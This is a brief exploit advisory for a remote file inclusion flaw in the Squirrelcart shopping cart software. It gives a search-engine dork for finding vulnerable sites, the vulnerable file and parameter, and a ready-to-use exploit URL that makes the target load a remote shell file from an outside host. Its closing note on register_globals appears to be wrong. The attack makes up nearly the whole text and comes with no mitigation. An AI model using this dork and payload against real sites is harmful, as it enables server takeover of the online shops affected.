Title           : Squirrelcart <= 1.x.x Remote File Inclusion
URL             : http://squirrelcart.com/
Google Dork     : inurl:"/squirrelcart/" -squirrelcart.com
Author          : ShaiMagal

Vulnerable file : popup_window.php ->* config.php*, line 13 - $site_isp_root = "blablabla";

Exploit         : squirrelcart//popup_window.php?site_isp_root=http://example.com/shell.txt?

notes		: register_globals = off is needed it seems.